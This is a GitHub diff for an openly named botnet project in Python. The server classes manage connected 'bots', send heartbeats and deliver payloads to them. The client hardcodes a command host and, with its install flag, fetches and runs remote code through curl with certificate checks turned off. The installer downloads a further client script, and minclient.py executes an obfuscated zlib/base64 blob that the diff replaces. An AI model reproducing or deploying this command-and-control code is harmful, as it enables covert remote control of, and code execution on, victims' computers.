Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
49 changes: 24 additions & 25 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -1,25 +1,24 @@
blinker==1.4
cffi==1.9.1
click==6.6
cryptography==1.7.1
enum-compat==0.0.2
eventlet==0.20.1
Flask==0.12
Flask-Login==0.4.0
Flask-Mail==0.9.1
Flask-SocketIO==2.8.2
Flask-SQLAlchemy==2.1
greenlet==0.4.11
idna==2.2
itsdangerous==0.24
Jinja2==2.8.1
MarkupSafe==0.23
pyasn1==0.1.9
pycparser==2.17
pyminifier==2.1
pyOpenSSL==16.2.0
python-engineio==1.1.0
python-socketio==1.6.2
six==1.10.0
SQLAlchemy==1.1.4
Werkzeug==0.11.15
blinker>=1.4
cffi>=1.9.1
click>=6.6
enum-compat>=0.0.2
eventlet>=0.20.1
Flask>=0.12
Flask-Login>=0.4.0
Flask-Mail>=0.9.1
Flask-SocketIO>=2.8.2
Flask-SQLAlchemy>=2.1
greenlet>=0.4.11
idna>=2.2
itsdangerous>=0.24
Jinja2>=2.8.1
MarkupSafe>=0.23
pyasn1>=0.1.9
pycparser>=2.17
pyminifier>=2.1
pyOpenSSL>=16.2.0
python-engineio>=1.1.0
python-socketio>=1.6.2
six>=1.10.0
SQLAlchemy>=1.1.4
Werkzeug>=0.11.15
45 changes: 45 additions & 0 deletions server/botnetclasses.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,10 +11,12 @@
import time
import uuid
import urllib.request
import socket


class BotNet(Thread):
INPUT_TIMEOUT = 1
BOTCHECK_TIMEOUT = 10
PRINTOUT_JSON = 'printout'
ERROUT_JSON = 'errout'
STDOUT_JSON = 'stdout'
Expand Down Expand Up @@ -164,12 +166,18 @@ def run(self):
'''
Parse information coming from bots, loops
'''
last_botcheck = time.time()
seen_dict = {}
sent_heartbeat = False
while True:
with self.connlock:
bots = list(self.onlineConnections.values())
while len(bots) == 0:
self.conncon.wait()
bots = list(self.onlineConnections.values())
for bot in bots:
if bot not in seen_dict:
seen_dict[bot] = True
with self.app.app_context():
# Waiting for bot input, rescan for new bots every INPUT_TIMEOUT
# TODO maybe use pipe as interrupt instead of timeout?
Expand Down Expand Up @@ -248,10 +256,29 @@ def run(self):
for filename in fileclose:
self.filemanager.closeFile(user, filename)

seen_dict[bot] = True

except IOError as e:
# Connection was interrupted, set to offline
print(e)
self.setOffline(user)
except Exception as e:
print(e)

# Send heartbeats to all bots. If not response within a few loops then offline them.
if self.BOTCHECK_TIMEOUT/2 < (time.time() - last_botcheck) and not sent_heartbeat:
for bot in bots:
bot.heartbeat()
sent_heartbeat = True

if self.BOTCHECK_TIMEOUT < (time.time() - last_botcheck):
# Check all bots for connectivity
for bot in bots:
if not seen_dict[bot]:
self.setOffline(bot.user)
last_botcheck = time.time()
seen_dict = {b: False for b in bots if b.online}
sent_heartbeat = False

def getLog(self, user):
'''
Expand Down Expand Up @@ -459,6 +486,8 @@ class Bot:
FILE_DOWNLOAD = 'down'
LS_JSON = 'ls'
ASSIGN_ID = 'assign'
HEARTBEAT = 'heartbeat'
HEARTBEAT_TIMEOUT = 3

def __init__(self, sock, host_info, socketio, lastonline=int(time.time()), online=True):
self.sock = formatsock.FormatSocket(sock)
Expand Down Expand Up @@ -665,6 +694,22 @@ def requestLs(self, filename):
else:
self.opqueue.append((self.requestLs, (filename,)))

def heartbeat(self):
with self.datalock:
if self.online:
json_str = json.dumps({Bot.HEARTBEAT: True})
old_timeout = self.sock.gettimeout()
self.sock.settimeout(Bot.HEARTBEAT_TIMEOUT)
try:
self.sock.send(json_str)
return True
except socket.timeout as e:
return False
finally:
self.sock.settimeout(old_timeout)
else:
return False


class BotLog:
STDOUT = 0
Expand Down
12 changes: 7 additions & 5 deletions server/botpayloadmanager.py
Original file line number Diff line number Diff line change
Expand Up @@ -37,7 +37,7 @@ def parsePayload(self, payloadpath):
payloadlines = f.readlines()
payloaddict = dict(name=payloadpath[len(self.payloadpath) + 1:-len(BotNetPayloadManager.PAYLOAD_EXT)],
description='',
vars={})
vars={}, varorder=[])
try:
if payloadlines[0].strip() in BotNetPayloadManager.COMMENT_DELIMIT:
for i in range(1, len(payloadlines)):
Expand All @@ -55,6 +55,7 @@ def parsePayload(self, payloadpath):
defval = var[eqindx + 1:].strip()
var = var[:eqindx].strip()
payloaddict['vars'][var] = {'description': rhs}
payloaddict['varorder'].append(var)
if defval is not None:
payloaddict['vars'][var]['default_value'] = defval
else:
Expand All @@ -67,14 +68,15 @@ def parsePayload(self, payloadpath):
def getPayloadText(self, payload, args):
if payload not in self.payloaddescriptions:
return None
vars = self.payloaddescriptions[payload]['vars']
vardict = self.payloaddescriptions[payload]['vars']
varorder = self.payloaddescriptions[payload]['varorder']
vartext = ""
for reqvar in vars.keys():
for reqvar in varorder:
if reqvar in args and len(args[reqvar]) > 0:
arg = json.dumps(args[reqvar])
vartext += '{}={}\n'.format(reqvar, arg)
elif 'default_value' in vars[reqvar]:
arg = json.dumps(vars[reqvar]['default_value'])
elif 'default_value' in vardict[reqvar]:
arg = json.dumps(vardict[reqvar]['default_value'])
vartext += '{}={}\n'.format(reqvar, arg)
with open(self.payloadfiles[payload], "r") as f:
payloadtext = f.read()
Expand Down
2 changes: 0 additions & 2 deletions server/client/.id

This file was deleted.

16 changes: 12 additions & 4 deletions server/client/client.py
Original file line number Diff line number Diff line change
Expand Up @@ -21,8 +21,9 @@

__version__ = "1.2.1"

HOST = '50.159.66.236'
#HOST = 'localhost'
HOST = 'renmusxd.ddns.net'
# HOST = 'potatos.local'

PORT = 1708
HOSTINFOFILE = '.host'
IDFILE = '.id'
Expand All @@ -44,6 +45,7 @@
FILE_FILENAME = 'fname'
CLIENT_STREAM = 'cstream'
CLIENT_CLOSE = 'cclose'
HEARTBEAT = 'heartbeat'

PRINT_BUFFER = StringIO()

Expand Down Expand Up @@ -242,12 +244,14 @@ def closeFile(self, filename):
if filename not in self.fileclose:
self.fileclose.append(filename)

def getAndClear(self, bytesize=4096):
def getAndClear(self, bytesize=None):
"""
Get items from data buffers up to bytesize total and clear
:param bytesize: total number of bytes (approx x2) to be written
:return: dataremaining (bool), datawritten (bool), writedict (dict)
"""
if bytesize is None:
bytesize = ByteLockBundler.PACKET_MAX_DAT
specialremaining = False
specs = {}
with self.slock:
Expand Down Expand Up @@ -464,6 +468,9 @@ def pollSock():
recvbytes = sock.format_recv()
recvjson = json.loads(recvbytes.decode('UTF-8'))

if HEARTBEAT in recvjson:
bytelock.writeSpecial("heartbeat", b'\x01')

# Special LS command
if LS_JSON in recvjson:
filedict = {}
Expand Down Expand Up @@ -618,10 +625,11 @@ def hasInternetConnection():
except:
return False


if __name__ == "__main__":
if "-install" in sys.argv:
# Legacy
os.system('python -c "$(curl -k https://{}/static/install.py)"'.format(HOST))
os.system('python -c "$(curl -k https://{}/client/install.py)"'.format(HOST))
else:
hostaddr = HOST
hostport = PORT
Expand Down
6 changes: 4 additions & 2 deletions server/client/install.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
import sys
import platform

HOST = '50.159.66.236'
HOST = 'renmusxd.ddns.net'
PORT = 1708
HOSTINFOFILE = '.host'
IDFILE = '.id'
Expand Down Expand Up @@ -76,12 +76,14 @@ def install_and_run_osx(host, port):
script_path = os.path.expanduser(loc)
if not os.path.exists(script_path):
try:
curlproc = subprocess.Popen(["curl", "-k", "-o", script_path, "https://"+HOST+'/static/minclient.py'], stdout=subprocess.PIPE)
curlproc = subprocess.Popen(["curl", "-k", "-o", script_path, "https://"+host+'/client/minclient.py'],
stdout=subprocess.PIPE)
(out, err) = curlproc.communicate()
if err is not None:
print(err)
raise Exception(err)
print("[+] Script written to:\t{}".format(script_path))
break
except Exception as e:
print(e)
else:
Expand Down
2 changes: 1 addition & 1 deletion server/client/minclient.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
#!/usr/bin/env python3
import zlib, base64
exec(zlib.decompress(base64.b64decode('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')))
exec(zlib.decompress(base64.b64decode('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')))
# Created by pyminifier (https://github.com/liftoff/pyminifier)

Loading